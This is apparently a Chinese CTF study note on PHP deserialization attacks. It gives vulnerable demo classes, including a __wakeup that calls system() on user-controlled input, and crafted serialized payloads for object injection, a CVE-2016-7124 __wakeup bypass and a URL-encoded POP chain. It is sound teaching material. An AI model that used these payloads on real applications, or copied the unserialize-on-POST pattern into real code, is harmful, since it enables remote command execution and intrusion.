php反序列化笔记

原理

序列化是指将一个对象转换为一个字节序列(包含 对象的数据对象的类型对象中存储的属性 等信息),以便在网络上传输或保存到文件中,或者在程序之间传递。

JSON,JavaScript Object Notation,就是一种较为常见的序列化对象。

在 PHP 中为了方便对象的序列化与反序列化,提供了 serializeunserialize 作为内置接口方法,会调用对象内部的一些魔术方法来完成序列化。

PHP 魔术方法

其中极其重要的是以下四个函数:

  • __sleep()serialize 函数会调用对象的该魔术方法,方法返回一个数组,包含对象需要被序列化的属性名称。
  • __wakeup()unserialize 函数会调用对象的该魔术方法,没有返回值,用于初始化一些前置内容方便序列化进行。
  • __serialize():PHP 7.4.0 后,如果该方法被定义,serialize 函数会调用对象的该魔术方法而忽略 __sleep,该方法返回一个关联数组,键值对为序列化名和值。
  • __unserialize(array $data):PHP 7.4.0 后,如果该方法被定义,unserialize 函数会调用对象的该魔术方法而忽略 __wakeup,该方法输入一个关联数组,键值对为序列化名和值。

由于其可控性,常常被利用于改变对象的属性,会发生在开发者不了解反序列化过程、未进行输入校验、在关联代码中出现逻辑漏洞等场景中。

实践

可以借助网站 https://3v4l.org/ 进行测试,版本勾选为 +include eol 效果更佳。

对象的自由构造

演示代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class vuln
{
public $cmd = 'ls';

function __wakeup()
{
system($this->cmd);
}
}
unserialize($_POST['data']);

由于 data 任意可控,那么我们可以使用 PHP 序列化出任意可控的目标对象,例如

1
2
3
4
5
6
7
8
<?php
class vuln
{
public $cmd = 'echo hacked!';
}
$obj = new vuln();
echo serialize($obj);
// O:4:"vuln":1:{s:3:"cmd";s:12:"echo hacked!";}

这里将与序列化无关的代码删除是为了便于展示代码,实际情况中无需修改代码,仅需修改对象属性即可。

__wakeup 绕过

为了防止对象的自由构造,一般会在 __wakeup 函数中执行一些检查,保证反序列化的安全性。

但由于 __wakeup 是在反序列化后由 PHP 自动调用的,故这时安全问题从开发者转移到了 PHP 中,比较出名的是 CVE-2016-7124,影响范围为

  • PHP5: < 5.6.25
  • PHP7: < 7.0.10

这种方法也叫做畸形序列化字符串,畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。

当我们恶意修改序列化数据时,会导致反序列化发生错误,绕过 __wakeup 函数而是直接调用 __destruct 函数,PHP 希望立即销毁这个对象,这个 CVE 所修改的是属性个数或是删除末尾的 },使得 PHP 因异常而提前调用析构函数中断反序列化过程(主要是 __wakeup 函数)。

演示代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class vuln
{
public $name = "qsdz";

function __wakeup()
{
if ($this->name === "admin") $this->name = "qsdz";
}

function __destruct()
{
if ($this->name === "admin") {
echo "flag{qsdz_yyds}";
} else {
echo "flag{fake}";
}
}
}

unserialize($_POST['data']);

使用 PHP 进行序列化

1
2
3
4
5
6
7
8
<?php
class vuln
{
public $name = "admin";
}
$obj = new vuln();
echo serialize($obj);
// O:4:"vuln":1:{s:4:"name";s:5:"admin";}

修改 vuln 的属性数,一个可行的序列化字符串为 O:4:"vuln":1000:{s:4:"name";s:5:"admin";}

另一种神奇的绕过,在序列化字符串中的变量名长度错误时,会引发与上文类似的问题。

或者是四种神奇的绕过

POP 链

POP链,全称面向属性编程(Property-Oriented Programming),是一种在反序列化中利用对象属性值进行漏洞利用的方法。它通过控制对象的属性,触发特定的魔法方法(如__wakeup__toString等),并在这些方法中进行多次跳转,最终达到获取敏感数据的目的。

POP链的构造通常涉及到序列化和反序列化操作,以及对象属性的巧妙设置,使得在反序列化过程中能够按照攻击者的意图执行特定的代码或方法。

常见于 CTF。

演示代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class vuln_one
{
private $username = 'qsdz';
protected $password = 'yyds';

public function get_flag()
{
if ($this->username === 'admin' && $this->password === '123456') {
echo 'flag{qsdz_yyds}';
} else {
echo 'flag{fake}';
}
}
}

class vuln_two
{
public $alice;
public function __destruct()
{
echo $this->alice;
}
}

class vuln_three
{
public $bob;
public $cat;
public function __toString()
{
return $this->bob->{$this->cat}();
}
}

unserialize($_POST['data']);

那么可以构造一条 POP 链如下,由于当对象里存在对象时,会使用一些不可见字符,故需要转义输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class vuln_one
{
private $username = 'qsdz';
protected $password = 'yyds';

public function __construct() {
$this->username = "admin";
$this->password = "123456";
}
}

class vuln_two
{
public $alice;
public function __construct()
{
$this->alice = new vuln_three();
}
}

class vuln_three
{
public $bob;
public $cat;
public function __construct()
{
$this->bob = new vuln_one();
$this->cat = "get_flag";
}
}

$obj = new vuln_two();
echo urlencode(serialize($obj));
// O%3A8%3A%22vuln_two%22%3A1%3A%7Bs%3A5%3A%22alice%22%3BO%3A10%3A%22vuln_three%22%3A2%3A%7Bs%3A3%3A%22bob%22%3BO%3A8%3A%22vuln_one%22%3A2%3A%7Bs%3A18%3A%22%00vuln_one%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A11%3A%22%00%2A%00password%22%3Bs%3A6%3A%22123456%22%3B%7Ds%3A3%3A%22cat%22%3Bs%3A8%3A%22get_flag%22%3B%7D%7D'